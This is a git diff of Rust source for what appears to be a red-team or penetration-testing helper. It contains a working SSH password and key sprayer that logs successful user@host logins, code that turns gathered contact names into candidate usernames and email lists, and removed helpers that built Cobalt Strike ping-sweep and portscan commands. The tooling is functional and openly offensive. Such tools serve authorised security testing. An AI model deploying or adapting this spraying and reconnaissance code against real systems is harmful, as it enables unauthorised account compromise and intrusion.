|
||||||
|
ports.push(String::from("2222"));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
loop{
|
||||||
|
let new_port = get_user_input("new port to add? enter END in all caps when done.");
|
||||||
|
if new_port.contains("END"){
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
ports.push(new_port);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for target in temp_targets{
|
||||||
|
for port in &ports{
|
||||||
|
let new_target = format!("{}:{}", target, port);
|
||||||
|
targets.push(String::from(new_target));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if key{
|
||||||
|
spray_data = get_user_input("path to key file?");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
spray_data = get_user_input("password to spray?");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
false => {
|
||||||
|
if user_path.is_none(){
|
||||||
|
return_data.push_str("\nno username file provided!\nExiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
if target_path.is_none(){
|
||||||
|
return_data.push_str("\nno target file provided!\nExiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
if given_data.is_none(){
|
||||||
|
return_data.push_str("\nno password or key file provided!\nexiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
let users_read_res = read_to_string(user_path.unwrap());
|
||||||
|
let target_read_res = read_to_string(target_path.unwrap());
|
||||||
|
spray_data = given_data.unwrap();
|
||||||
|
if users_read_res.is_err(){
|
||||||
|
return_data.push_str("\nerror reading user file!\nExiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
if target_read_res.is_err(){
|
||||||
|
return_data.push_str("\nerror reading target file!\nExiting...");
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
let users_string = users_read_res.unwrap();
|
||||||
|
let targets_string = target_read_res.unwrap();
|
||||||
|
let temp_users: Vec<&str> = users_string.split("\n").collect();
|
||||||
|
let temp_targets: Vec<&str> = targets_string.split("\n").collect();
|
||||||
|
for user in temp_users{
|
||||||
|
users.push(String::from(user));
|
||||||
|
}
|
||||||
|
for target in temp_targets{
|
||||||
|
targets.push(String::from(target));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if display{
|
||||||
|
print_informational("spraying useers...");
|
||||||
|
}
|
||||||
|
match key{
|
||||||
|
true => {
|
||||||
|
for target in targets{
|
||||||
|
for user in &users{
|
||||||
|
let session_res = ssh::create_session().username(user.as_str()).private_key_path(&spray_data).connect(&target);
|
||||||
|
if session_res.is_err(){
|
||||||
|
let error_text = format!("Error opening ssh session for {} on {}", user, target);
|
||||||
|
if display{
|
||||||
|
print_error(&error_text, format!("{}",session_res.err().unwrap()));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return_data.push_str(format!("\n{}", error_text).as_str());
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
let session = session_res.unwrap();
|
||||||
|
let out_string = format!("{}@{}", user, target);
|
||||||
|
success.push(out_string.clone());
|
||||||
|
if display{
|
||||||
|
print_success(out_string);
|
||||||
|
}
|
||||||
|
session.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
|
false => {
|
||||||
|
for target in targets{
|
||||||
|
for user in &users{
|
||||||
|
let information_text = format!("testing {} on {}", user, target);
|
||||||
|
print_informational(information_text);
|
||||||
|
let session_res = ssh::create_session().username(user.as_str()).password(&spray_data).connect(&target);
|
||||||
|
if session_res.is_err(){
|
||||||
|
let error_text = format!("Error opening ssh session for {} on {}", user, target);
|
||||||
|
if display{
|
||||||
|
print_error(&error_text, format!("{}",session_res.err().unwrap()));
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return_data.push_str(format!("\n{}", error_text).as_str());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
let session = session_res.unwrap();
|
||||||
|
let out_string = format!("{}@{}", user, target);
|
||||||
|
success.push(out_string.clone());
|
||||||
|
if display{
|
||||||
|
print_success(out_string);
|
||||||
|
}
|
||||||
|
session.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let return_data = success.join("\n");
|
||||||
|
if display{
|
||||||
|
println!("these are the successful sprays!");
|
||||||
|
print_success(return_data);
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
return Some(return_data);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,22 +1,27 @@
|
|||||||
use std::collections::HashMap;
|
use std::collections::HashMap;
|
||||||
|
use std::fmt::write;
|
||||||
use std::fs;
|
use std::fs;
|
||||||
use std::fs::read_to_string;
|
use std::fs::read_to_string;
|
||||||
|
use std::fs::OpenOptions;
|
||||||
use std::io::BufReader;
|
use std::io::BufReader;
|
||||||
use std::io::Write;
|
use std::io::Write;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::process;
|
|
||||||
use std::process::Command;
|
|
||||||
use std::thread;
|
use std::thread;
|
||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
use std::io::stdin;
|
use std::io::stdin;
|
||||||
use std::thread::JoinHandle;
|
use colored::Colorize;
|
||||||
use walkdir::WalkDir;
|
use walkdir::WalkDir;
|
||||||
use clearscreen::clear;
|
use clearscreen::clear;
|
||||||
use clearscreen;
|
use clearscreen;
|
||||||
use rodio::{Decoder, OutputStream, Sink};
|
use rodio::{Decoder, OutputStream, Sink};
|
||||||
use crate::get_user_input;
|
use crate::get_user_input;
|
||||||
|
use crate::open_append;
|
||||||
|
use crate::print_error;
|
||||||
|
use crate::print_informational;
|
||||||
|
use crate::print_success;
|
||||||
use crate::Project;
|
use crate::Project;
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
pub fn run_initial_enum(project: &Project){
|
pub fn run_initial_enum(project: &Project){
|
||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
struct Target {
|
struct Target {
|
||||||
@@ -34,8 +39,8 @@ pub fn run_initial_enum(project: &Project){
|
|||||||
let csv_read_res = fs::read_to_string(&csv_path);
|
let csv_read_res = fs::read_to_string(&csv_path);
|
||||||
if csv_read_res.is_err(){
|
if csv_read_res.is_err(){
|
||||||
let error = csv_read_res.err().unwrap();
|
let error = csv_read_res.err().unwrap();
|
||||||
println!("error reading csv!");
|
println!("{}","error reading csv!".red());
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
let csv_data = csv_read_res.unwrap();
|
let csv_data = csv_read_res.unwrap();
|
||||||
@@ -71,16 +76,16 @@ pub fn run_initial_enum(project: &Project){
|
|||||||
let host_notes_open_res = fs::OpenOptions::new().append(true).create(true).open(&host_notes_path);
|
let host_notes_open_res = fs::OpenOptions::new().append(true).create(true).open(&host_notes_path);
|
||||||
if host_notes_open_res.is_err(){
|
if host_notes_open_res.is_err(){
|
||||||
let error = host_notes_open_res.err().unwrap();
|
let error = host_notes_open_res.err().unwrap();
|
||||||
println!("error opening host notes file!");
|
println!("{}","error opening host notes file!".red());
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
let host_notes = host_notes_open_res.unwrap();
|
let host_notes = host_notes_open_res.unwrap();
|
||||||
let attack_notes_open_res = fs::OpenOptions::new().append(true).create(true).open(&attack_notes_path);
|
let attack_notes_open_res = fs::OpenOptions::new().append(true).create(true).open(&attack_notes_path);
|
||||||
if attack_notes_open_res.is_err(){
|
if attack_notes_open_res.is_err(){
|
||||||
let error = attack_notes_open_res.err().unwrap();
|
let error = attack_notes_open_res.err().unwrap();
|
||||||
println!("error opening attack notes!");
|
println!("{}","error opening attack notes!".red());
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
for target in targets.clone(){
|
for target in targets.clone(){
|
||||||
@@ -95,132 +100,79 @@ pub fn run_initial_enum(project: &Project){
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn build_external_attack_notes(project: &Project){
|
/*pub fn build_external_attack_notes(project: &Project){
|
||||||
|
|
||||||
#[derive(Clone)]
|
#[derive(Clone)]
|
||||||
struct Port{
|
struct Port{
|
||||||
number: String,
|
service: String,
|
||||||
hosts: Vec<String>,
|
hosts: Vec<String>
|
||||||
}
|
}
|
||||||
|
|
||||||
let mut ports: Vec<Port> = Vec::new();
|
let mut ports: Vec<Port> = Vec::new();
|
||||||
let mut host_notes_path = project.notes_folder.clone();
|
let mut host_notes_path = project.notes_folder.clone();
|
||||||
let mut attack_notes_path = host_notes_path.clone();
|
|
||||||
host_notes_path.push("host_notes.md");
|
host_notes_path.push("host_notes.md");
|
||||||
|
let mut attack_notes_path = project.notes_folder.clone();
|
||||||
attack_notes_path.push("attacks.md");
|
attack_notes_path.push("attacks.md");
|
||||||
let host_notes_read_res = fs::read_to_string(host_notes_path);
|
let host_notes_read_res = fs::read_to_string(host_notes_path);
|
||||||
if host_notes_read_res.is_err(){
|
if host_notes_read_res.is_err(){
|
||||||
let error = host_notes_read_res.err().unwrap();
|
let error = host_notes_read_res.err().unwrap();
|
||||||
println!("error reading host notes!");
|
println!("error reading host notes");
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
let host_notes = host_notes_read_res.unwrap();
|
let host_notes_string = host_notes_read_res.unwrap();
|
||||||
let attack_open_res = fs::OpenOptions::new().append(true).create(true).open(attack_notes_path);
|
let host_parts: Vec<&str> = host_notes_string.split("---").collect();
|
||||||
if attack_open_res.is_err(){
|
let mut host = String::new();
|
||||||
let error = attack_open_res.err().unwrap();
|
for part in host_parts{
|
||||||
println!("error opening attack notes!");
|
let lines: Vec<&str> = part.split("\n").collect();
|
||||||
println!("{}", error);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
let attack_notes = attack_open_res.unwrap();
|
|
||||||
for line in host_notes.split("\n").collect::<Vec<&str>>(){
|
|
||||||
let mut current_host = String::new();
|
|
||||||
if line.len() > 1{
|
|
||||||
if line.contains("#"){
|
|
||||||
if !line.contains("##"){
|
|
||||||
current_host = line.split_whitespace().collect::<Vec<&str>>()[1].trim().to_owned();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if line.contains("|"){
|
|
||||||
let table_data:Vec <&str> = line.split("|").collect();
|
|
||||||
for item in table_data{
|
|
||||||
let mut is_new = true;
|
|
||||||
if item.contains(":"){
|
|
||||||
for port in &mut ports{
|
|
||||||
if port.number == item.trim(){
|
|
||||||
if port.hosts.contains(¤t_host){
|
|
||||||
port.hosts.push(current_host.clone());
|
|
||||||
}
|
|
||||||
is_new = false;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if is_new{
|
|
||||||
let new_port = Port{number: line.trim().to_owned(), hosts:vec![current_host.clone()]};
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
for port in ports{
|
|
||||||
let output = format!("# {}\nHOSTS:\n", port.number);
|
|
||||||
for host in port.hosts{
|
|
||||||
// output.push_str("## {}");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn build_cmd_for_host_discovery(project: &Project){
|
|
||||||
let mut cobalt_strike_response = String::new();
|
|
||||||
let mut need_shell = false;
|
|
||||||
println!("will you be running this via cobalt strike? (do you need it to start with \"shell\"?");
|
|
||||||
let input_result = std::io::stdin().read_line(&mut cobalt_strike_response);
|
|
||||||
if input_result.is_err(){
|
|
||||||
println!("error getting user input... not really sure how you did this... just pressing enter would work..... wow");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
if cobalt_strike_response.to_lowercase().contains("y"){
|
|
||||||
need_shell = true;
|
|
||||||
}
|
|
||||||
let mut general_note_path = project.notes_folder.clone();
|
|
||||||
general_note_path.push("general.md");
|
|
||||||
println!("Reading from: {}", general_note_path.display());
|
|
||||||
let mut ranges = Vec::new();
|
|
||||||
let general_note_string = read_to_string(general_note_path);
|
|
||||||
let mut _note_string = String::new();
|
|
||||||
match general_note_string{
|
|
||||||
Err(error) => {println!("error reading file to string!! {}", error); return;},
|
|
||||||
_=> _note_string = general_note_string.unwrap()
|
|
||||||
}
|
|
||||||
let lines: Vec<&str> = _note_string.split("\n").collect();
|
|
||||||
for line in lines{
|
for line in lines{
|
||||||
|
if line.contains("# "){
|
||||||
|
if !line.contains("## "){
|
||||||
|
host = line.split("# ").collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
if line.contains("|"){
|
if line.contains("|"){
|
||||||
if line.contains("."){
|
if line.contains(":"){
|
||||||
let ip = line.split("|").collect::<Vec<&str>>()[1];
|
let entries: Vec<&str> = line.split("|").collect();
|
||||||
if ip .contains(","){
|
let service = entries[2].trim().to_owned();
|
||||||
let ips: Vec<&str> = ip.split(",").collect();
|
for entry in entries{
|
||||||
for ip in ips{
|
if entry.contains(":"){
|
||||||
ranges.push(ip.trim_end().trim_start());
|
let port_number = entry.trim().to_owned();
|
||||||
|
let mut new = true;
|
||||||
|
for port in &mut ports{
|
||||||
|
if port.service == service{
|
||||||
|
new = false;
|
||||||
|
let host_entry = format!("{} {}", host.clone(), port_number.clone());
|
||||||
|
port.hosts.push(host_entry);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else{
|
match new{
|
||||||
ranges.push(ip.trim_end().trim_start());
|
true => {let new_port = Port{service: service.clone(), hosts: vec![format!("{} {}", host.clone(), port_number.clone())]}; ports.push(new_port);},
|
||||||
|
false => ()
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let mut _discovery_command = "";
|
|
||||||
_discovery_command = "(for /L %a IN (1,1,254) DO ping /n 1 /w 3 !!!.%a) | find \"Reply\"";
|
|
||||||
let mut final_command = String::new();
|
|
||||||
for range in ranges{
|
|
||||||
let mut network: Vec<&str> = range.split(".").collect();
|
|
||||||
network.pop();
|
|
||||||
let network_string = network.join(".");
|
|
||||||
let mut _range_command = String::new();
|
|
||||||
if need_shell{
|
|
||||||
_range_command = format!("{}{}","shell ", _discovery_command.replace("!!!", &network_string));
|
|
||||||
need_shell = false;
|
|
||||||
}
|
}
|
||||||
else{
|
|
||||||
_range_command = _discovery_command.replace("!!!", &network_string);
|
|
||||||
}
|
}
|
||||||
final_command.push_str(_range_command.as_str());
|
println!("{} parsed!", host);
|
||||||
final_command.push_str(">> ping_only_replies.txt &");
|
|
||||||
}
|
}
|
||||||
final_command.pop();
|
println!("parsed host_notes.md, writing to attacks.md...");
|
||||||
println!("{}", final_command);
|
let attack_open_res = open_append(&attack_notes_path);
|
||||||
}
|
if attack_open_res.is_none(){
|
||||||
|
println!("ooof error opening attack notes, returning...");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let mut attack_file = attack_open_res.unwrap();
|
||||||
|
write!(attack_file, "\n---\n").expect("since we used the open options already this should never fail.");
|
||||||
|
for port in ports.clone(){
|
||||||
|
write!(attack_file, "# {}\n", port.service).expect("since we used the open options already this should never fail.");
|
||||||
|
write!(attack_file, "HOSTS:\n").expect("since we used the open options already this should never fail.");
|
||||||
|
for host in port.hosts{
|
||||||
|
write!(attack_file, "## {}\n\n", host).expect("since we used the open options already this should never fail.");
|
||||||
|
write!(attack_file, "\n---\n").expect("since we used the open options already this should never fail.");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
|
||||||
pub fn generate_userpass(project: &Project){
|
pub fn generate_userpass(project: &Project){
|
||||||
let mut outlines = Vec::new();
|
let mut outlines = Vec::new();
|
||||||
@@ -247,7 +199,7 @@ pub fn generate_userpass(project: &Project){
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn open_in_dolphin(folder: &str, project: Project){
|
/*pub fn open_in_dolphin(folder: &str, project: Project){
|
||||||
let mut to_open = PathBuf::new();
|
let mut to_open = PathBuf::new();
|
||||||
match folder{
|
match folder{
|
||||||
"notes" => to_open.push(project.notes_folder),
|
"notes" => to_open.push(project.notes_folder),
|
||||||
@@ -257,71 +209,118 @@ pub fn open_in_dolphin(folder: &str, project: Project){
|
|||||||
process::Command::new("dolphin")
|
process::Command::new("dolphin")
|
||||||
.arg(to_open)
|
.arg(to_open)
|
||||||
.spawn().expect("error opening dolphin");
|
.spawn().expect("error opening dolphin");
|
||||||
}
|
}*/
|
||||||
|
|
||||||
pub fn print_report_information(project: Project){
|
pub fn print_report_information(project: &Project){
|
||||||
let mut general_notes_path = project.notes_folder.clone();
|
let scope = get_scope_entries(project);
|
||||||
let mut finding_notes_path = project.notes_folder.clone();
|
println!("Project: {} {}", project.customer, project.project_name);
|
||||||
general_notes_path.push("general.md ");
|
if scope.is_some(){
|
||||||
finding_notes_path.push("findings.md ");
|
println!("SCOPE:");
|
||||||
println!("general: {}\nfindings: {}", general_notes_path.display(), finding_notes_path.display());
|
for entry in scope.unwrap(){
|
||||||
let general_string = fs::read_to_string(general_notes_path).expect("error opening general notes");
|
println!("{}", entry);
|
||||||
let findings_string = fs::read_to_string(finding_notes_path).expect("error opening findings notes");
|
|
||||||
let general_lines: Vec<&str> = general_string.split("\n").collect();
|
|
||||||
let finding_lines: Vec<&str> = findings_string.split("\n").collect();
|
|
||||||
println!("Scope:");
|
|
||||||
for line in general_lines{
|
|
||||||
if line.contains("|"){
|
|
||||||
let split: Vec<&str> = line.split("|").collect();
|
|
||||||
println!("{}\t{}", split[0], split[2]);
|
|
||||||
}
|
}
|
||||||
|
println!("\n\n");
|
||||||
}
|
}
|
||||||
println!("Findings");
|
let mut notes_path = project.notes_folder.clone();
|
||||||
for line in finding_lines{
|
notes_path.push("enumeration.md");
|
||||||
if line.contains("# "){
|
if notes_path.exists(){
|
||||||
println!("{}", line);
|
let enumeration_read_res = fs::read_to_string(notes_path);
|
||||||
}
|
if enumeration_read_res.is_err(){
|
||||||
else if line.contains("- "){
|
let error = enumeration_read_res.err().unwrap();
|
||||||
println!("{}", line)
|
println!("{}","error reading enumeration notes!".red());
|
||||||
}
|
println!("{}", error.to_string().red());
|
||||||
}
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
pub fn build_cs_portscan_cmd(project: &Project){
|
|
||||||
let mut general_note_path = project.notes_folder.clone();
|
|
||||||
general_note_path.push("general.md");
|
|
||||||
println!("Reading from: {}", general_note_path.display());
|
|
||||||
let mut ranges = Vec::new();
|
|
||||||
let general_note_string = read_to_string(general_note_path);
|
|
||||||
let mut _note_string = String::new();
|
|
||||||
match general_note_string{
|
|
||||||
Err(error) => {println!("error reading file to string!! {}", error); return;},
|
|
||||||
_=> _note_string = general_note_string.unwrap()
|
|
||||||
}
|
|
||||||
let lines: Vec<&str> = _note_string.split("\n").collect();
|
|
||||||
for line in lines{
|
|
||||||
if line.contains("|"){
|
|
||||||
if line.contains("."){
|
|
||||||
let ip = line.split("|").collect::<Vec<&str>>()[1];
|
|
||||||
if ip.contains(","){
|
|
||||||
let ips: Vec<&str> = ip.split(",").collect();
|
|
||||||
for ip in ips{
|
|
||||||
ranges.push(ip.trim_end().trim_start());
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
ranges.push(ip.trim_end().trim_start());
|
let enumeration_text = enumeration_read_res.unwrap();
|
||||||
|
let sections: Vec<&str> = enumeration_text.split("\n---\n").collect();
|
||||||
|
let mut records_dict = HashMap::new();
|
||||||
|
let mut subs_dict = HashMap::new();
|
||||||
|
let mut extrapolated_dict = HashMap::new();
|
||||||
|
for section in sections{
|
||||||
|
let mut domain_name = String::new();
|
||||||
|
let mut domain_records = Vec::new();
|
||||||
|
let mut subdomains = Vec::new();
|
||||||
|
let lines: Vec<&str> = section.split("\n").collect();
|
||||||
|
if section.contains("## DNS Records"){
|
||||||
|
for line in &lines{
|
||||||
|
if line.contains("####"){
|
||||||
|
domain_name = line.split_whitespace().collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
}
|
||||||
|
if line.contains("|"){
|
||||||
|
let data: Vec<&str> = line.split("|").collect();
|
||||||
|
if data.len() == 5{
|
||||||
|
if !data.contains(&"Domain name") || !data.contains(&"----"){
|
||||||
|
domain_records.push(format!("{}\t{}\t{}", data[1], data[2], data[3]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
records_dict.insert(domain_name.to_owned(), domain_records);
|
||||||
|
}
|
||||||
|
if section.contains("Subdomain Enumeration"){
|
||||||
|
for line in &lines{
|
||||||
|
if line.contains("####"){
|
||||||
|
domain_name = line.split_whitespace().collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
}
|
||||||
|
if line.contains("|"){
|
||||||
|
let data: Vec<&str> = line.split("|").collect();
|
||||||
|
if data.len() == 4{
|
||||||
|
subdomains.push(format!("{}\t{}", data[1], data[2]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
subs_dict.insert(domain_name.to_owned(), subdomains);
|
||||||
|
}
|
||||||
|
if section.contains("Email Enumeration"){
|
||||||
|
let section_parts: Vec<&str> = section.split("### ").collect();
|
||||||
|
for part in section_parts{
|
||||||
|
let mut domain_name = String::new();
|
||||||
|
let mut emails = Vec::new();
|
||||||
|
if part.contains("## "){
|
||||||
|
let part_lines: Vec<&str> = part.split("\n").collect();
|
||||||
|
for line in part_lines{
|
||||||
|
if line.contains("##"){
|
||||||
|
domain_name = line.split_whitespace().collect::<Vec<&str>>()[1].to_owned();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if part.contains("Extrapolated Emails"){
|
||||||
|
let part_lines: Vec<&str> = part.split("\n").collect();
|
||||||
|
for line in part_lines{
|
||||||
|
if line.contains("@"){
|
||||||
|
emails.push(line.to_owned());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
extrapolated_dict.insert(domain_name, emails);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("\nDNS RECORDS");
|
||||||
|
for domain in records_dict.keys(){
|
||||||
|
println!("{}", domain);
|
||||||
|
println!("total records:{}", &records_dict[domain].len());
|
||||||
|
for recrod in &records_dict[domain]{
|
||||||
|
println!("{}", recrod);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("\nSUB DOMAINS");
|
||||||
|
for domain in subs_dict.keys(){
|
||||||
|
println!("{}", domain);
|
||||||
|
println!("total subs:{}", &subs_dict[domain].len());
|
||||||
|
for sub in &subs_dict[domain]{
|
||||||
|
println!("{}", sub);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
println!("\nEXTRAPOLATE EMAILS");
|
||||||
|
for domain in extrapolated_dict.keys(){
|
||||||
|
println!("{}", domain);
|
||||||
|
for email in &extrapolated_dict[domain]{
|
||||||
|
println!("{}", email);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
let portscan_cmd = "portscan !!! 1-1024,1433,2222,3306,3389,5000-6000,8000,8080,8443 icmp 512";
|
|
||||||
let mut _range_command = String::new();
|
|
||||||
let combined_ranges = ranges.join(",");
|
|
||||||
let final_command = portscan_cmd.replace("!!!", &combined_ranges);
|
|
||||||
println!("{}", final_command);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
fn find_file(dir: &PathBuf, file_name: &str) -> Option<String>{
|
fn find_file(dir: &PathBuf, file_name: &str) -> Option<String>{
|
||||||
@@ -364,6 +363,7 @@ fn nefarious_config(tools_dir: &PathBuf) -> String{
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
fn msolspray_config(tools_dir: &PathBuf) -> String{
|
fn msolspray_config(tools_dir: &PathBuf) -> String{
|
||||||
let mut msolspray_path = String::new();
|
let mut msolspray_path = String::new();
|
||||||
let mut outline = String::new();
|
let mut outline = String::new();
|
||||||
@@ -451,6 +451,7 @@ fn msolspray_config(tools_dir: &PathBuf) -> String{
|
|||||||
return outline;
|
return outline;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[allow(unused)]
|
||||||
pub fn password_spray_help(project: &Project, season: String, lseason: String, year: i32, tools_dir: &PathBuf, config_path: &PathBuf){
|
pub fn password_spray_help(project: &Project, season: String, lseason: String, year: i32, tools_dir: &PathBuf, config_path: &PathBuf){
|
||||||
let mut wait_time:u64 = 0;
|
let mut wait_time:u64 = 0;
|
||||||
let mut wait_time_response = String::new();
|
let mut wait_time_response = String::new();
|
||||||
@@ -595,7 +596,7 @@ pub fn password_spray_help(project: &Project, season: String, lseason: String, y
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn crack_hashes(cracking_rig: &String, project: &Project, terminal: &String, rockyou: &String, rule: &String){
|
/*pub fn crack_hashes(cracking_rig: &String, project: &Project, terminal: &String, rockyou: &String, rule: &String){
|
||||||
let mut hash_file = String::new();
|
let mut hash_file = String::new();
|
||||||
println!("trying to automatically find hashes.txt file...");
|
println!("trying to automatically find hashes.txt file...");
|
||||||
let find_result = find_file(&project.files_folder, "hashes.txt");
|
let find_result = find_file(&project.files_folder, "hashes.txt");
|
||||||
@@ -757,7 +758,7 @@ pub fn get_mssql_column_names(project: &Project) -> Option<JoinHandle<()>>{
|
|||||||
if netexec_cmd_res.is_err(){
|
if netexec_cmd_res.is_err(){
|
||||||
let error = netexec_cmd_res.err().unwrap();
|
let error = netexec_cmd_res.err().unwrap();
|
||||||
println!("error running netexec command!");
|
println!("error running netexec command!");
|
||||||
println!("{}", error);
|
println!("{}", error.to_string().red());
|
||||||
}
|
}
|
||||||
else{
|
else{
|
||||||
let output_string = String::from_utf8(netexec_cmd_res.unwrap().stdout).unwrap();
|
let output_string = String::from_utf8(netexec_cmd_res.unwrap().stdout).unwrap();
|
||||||
@@ -775,4 +776,207 @@ pub fn get_mssql_column_names(project: &Project) -> Option<JoinHandle<()>>{
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
return Some(db_handle);
|
return Some(db_handle);
|
||||||
|
}*/
|
||||||
|
|
||||||
|
pub fn partse_gathercontacts(project: &Project){
|
||||||
|
fn format_names(names: Vec<&str>) -> HashMap<&str, Vec<String>>{
|
||||||
|
let mut formated_data = HashMap::new();
|
||||||
|
let mut flast = Vec::new();
|
||||||
|
let mut fdotlast = Vec::new();
|
||||||
|
let mut fdashlast = Vec::new();
|
||||||
|
let mut firstl = Vec::new();
|
||||||
|
let mut firstdotlast = Vec::new();
|
||||||
|
let mut firstlast = Vec::new();
|
||||||
|
let mut last_vec = Vec::new();
|
||||||
|
let mut first_vec = Vec::new();
|
||||||
|
for name in names{
|
||||||
|
let name_vec: Vec<&str> = name.split("|").collect();
|
||||||
|
if name_vec.len() == 2{
|
||||||
|
let first = name_vec[0];
|
||||||
|
let last = name_vec[1];
|
||||||
|
let first_chars: Vec<char> = first.chars().collect();
|
||||||
|
let last_chars: Vec<char> = last.chars().collect();
|
||||||
|
flast.push(format!("{}{}", &first_chars[0], &last));
|
||||||
|
fdotlast.push(format!("{}.{}", &first_chars[0], &last));
|
||||||
|
fdashlast.push(format!("{}-{}", &first, &last));
|
||||||
|
firstl.push(format!("{}{}", &first, &last_chars[0]));
|
||||||
|
firstdotlast.push(format!("{}.{}", &first, &last));
|
||||||
|
firstlast.push(format!("{}{}", &first, &last));
|
||||||
|
last_vec.push(format!("{}", &last));
|
||||||
|
first_vec.push(format!("{}", &first));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
formated_data.insert("flast", flast);
|
||||||
|
formated_data.insert("fdotlast", fdotlast);
|
||||||
|
formated_data.insert("fdashlast", fdashlast);
|
||||||
|
formated_data.insert("firstl", firstl);
|
||||||
|
formated_data.insert("firstdotlast", firstdotlast);
|
||||||
|
formated_data.insert("firstlast", firstlast);
|
||||||
|
formated_data.insert("last", last_vec);
|
||||||
|
formated_data.insert("fisrt", first_vec);
|
||||||
|
return formated_data;
|
||||||
|
}
|
||||||
|
|
||||||
|
let gather_file = get_user_input("path to your gather contacts output?");
|
||||||
|
print!("
|
||||||
|
supported formats:
|
||||||
|
flast
|
||||||
|
f.last
|
||||||
|
f-last
|
||||||
|
firstl
|
||||||
|
first.last
|
||||||
|
firstlast
|
||||||
|
last
|
||||||
|
\n");
|
||||||
|
let format = get_user_input("format of usernames?");
|
||||||
|
let domain = get_user_input("domain name?");
|
||||||
|
let gather_source = fs::read_to_string(gather_file);
|
||||||
|
if gather_source.is_err(){
|
||||||
|
let error = gather_source.err().unwrap();
|
||||||
|
println!("{}","error reading gather contacts output!".red());
|
||||||
|
println!("{}", error.to_string().red());
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let gather_source_string = gather_source.unwrap();
|
||||||
|
let gather_source_lines: Vec<&str> = gather_source_string.split("\n").collect();
|
||||||
|
let mut names = String::new();
|
||||||
|
for line in gather_source_lines{
|
||||||
|
if line.len() > 2{
|
||||||
|
let line_vec: Vec<&str> = line.split("\t").collect();
|
||||||
|
let first = line_vec[1].trim();
|
||||||
|
let last = line_vec[2].trim();
|
||||||
|
if first.len() > 1 && last.len() >1 {
|
||||||
|
let name = format!("{}|{}",first, last);
|
||||||
|
names = format!("{} {}", names, name.trim());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let users: Vec<&str> = names.split(" ").collect();
|
||||||
|
let data = format_names(users);
|
||||||
|
let mut email_text_path = project.files_folder.clone();
|
||||||
|
let mut email_note_path = project.notes_folder.clone();
|
||||||
|
email_text_path.push("working/extrapolated_emails.txt");
|
||||||
|
